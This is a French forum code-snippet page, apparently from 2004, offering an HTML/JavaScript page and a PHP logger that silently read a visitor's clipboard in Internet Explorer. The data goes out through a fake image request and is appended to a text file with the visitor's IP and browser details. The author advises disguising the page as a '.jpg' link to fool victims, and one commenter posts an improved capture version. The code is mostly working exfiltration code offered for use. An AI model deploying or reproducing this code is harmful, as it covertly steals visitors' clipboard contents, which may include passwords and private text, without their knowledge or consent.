Connaitre le contenu du presse papier d'un visiteur et le loguer

Soyez le premier à donner votre avis sur cette source.

Snippet vu 10 884 fois - Téléchargée 29 fois

Contenu du snippet

Encore une petite bidouille assez marante ...
J'ai adapté à ma façon, et très mal !, un script JS qui affichait le contenu du presse papier quand on navigait sur le page pour qu'il transmette le contenu du presse papier du visiteur à un script php, sans éveiller les soupsons de IE (comme si le .php était une image) et le PHP log tout ça dans un fichier .txt

Je vous conseille de mettre la page en index.htm dans un dossier image.jpg de type : http://www.serv.tld/image.jpg comme ça le mec crois ouvrir une image :p

Je n'ai aucune prétention en javascript donc je ne sais pas trop comment marche les variables mais si vous avez des conseils n'hésitez pas !

Notez pas très sévére pour le JS ! lol

Le code :

Source / Exemple :


index.htm :
-------------

<html>
<body>
<form name="tito" id="tito">
<textarea style="width=0px;height=0px" name="zone" id="zone"></textarea>
</form>
<script>
fuckU = new Image;

var popo=tito.zone.createTextRange();
popo.execCommand("Paste");
popo.collapse(false);

fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;

</script>
</body>
</html>

microsoft.php (le nom mé passé par la tet ... désolé !) :
----------------------------------------------------------------

<?
/// PoPo 2004

if($toto != ""){
         $toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $REMOTE_ADDR . " - " . $HTTP_USER_AGENT . " " . $HTTP_ACCEPT_LANGUAGE . "] :\r\n" . $toto . "\r\n>>---------------<<\r\n\r\n";

         $popo = fopen("histo.txt", "a");
         fputs($popo, $toto);
         fclose($popo);
}

?>

Conclusion :


Merci à s0nic Kaos pour l'idée :)

@++
PoPo

A voir également

Ajouter un commentaire Commentaires
l_lcypherl_l Messages postés 2 Date d'inscription mercredi 19 janvier 2005 Statut Membre Dernière intervention 15 septembre 2005
12 nov. 2007 à 11:29
Bonjour,

C'est clair, il faut préciser que ce code n'est valable que pour IE.

Des commandes comme 'execCommand("Paste")' sont propres au jScript microsoft et non au standard javascript [qui lui n'accede pas au système :) ].
pepecyril Messages postés 3 Date d'inscription mercredi 7 juillet 2004 Statut Membre Dernière intervention 29 juillet 2006
29 juil. 2006 à 17:47
Ca marche avec firefox ?
Je crois pas...heuresement que le logiciel libre est là !

Le piratage nuit à microsoft
Le piratage aide le libre
Sined_ Messages postés 1 Date d'inscription jeudi 10 mars 2005 Statut Membre Dernière intervention 21 novembre 2005
21 nov. 2005 à 22:18
Cette technique peut s'appropcher du piratage... mais bon j'ai un peu améliorer le script pour qu'il puisse enregistrer des caractères non présent dans la table de caractères ISO-8859-1 puis qui puisse enregsitrer la suite d'un segment comportant le signe &.
Dans le fichier HTML:
fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?' + tito.zone.value;
au lieu de :
fuckU.src = 'http://www.site.com/logo.jpg/microsoft.php?toto=' + tito.zone.value;
Puis dans le fichier PHP:
$titi = str_replace("%20", " ", $_SERVER['QUERY_STRING']);
$toto = utf8_encode("@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $titi . "\r\n>>---------------<<\r\n\r\n)";
au lieu de :
$toto = "@ [" . date("d/m/Y à H:i:s") . " - " . $_SERVER["REMOTE_ADDR"] . " - " . $_SERVER["HTTP_USER_AGENT"] . " " . $_SERVER["HTTP_ACCEPT_LANGUAGE"] . "] :\r\n" . $_GET["toto"] . "\r\n>>---------------<<\r\n\r\n";
stanilou Messages postés 193 Date d'inscription mercredi 5 mai 2004 Statut Membre Dernière intervention 18 novembre 2009
16 nov. 2004 à 21:08
J'ai un petit probleme, moi j'ai juste un cadre de texte !? Quelqu'un pe m'expliquer?
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 9
5 août 2004 à 10:17
Salut ;-)

Il suffit juste de régler les paramètres d'IE pour que ton script ne fonctionne plus. Dommage :-(

Mais bon je n'aime pas ce genre de scripts qui loguent des trucs du visiteur.

a ++
Afficher les 20 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.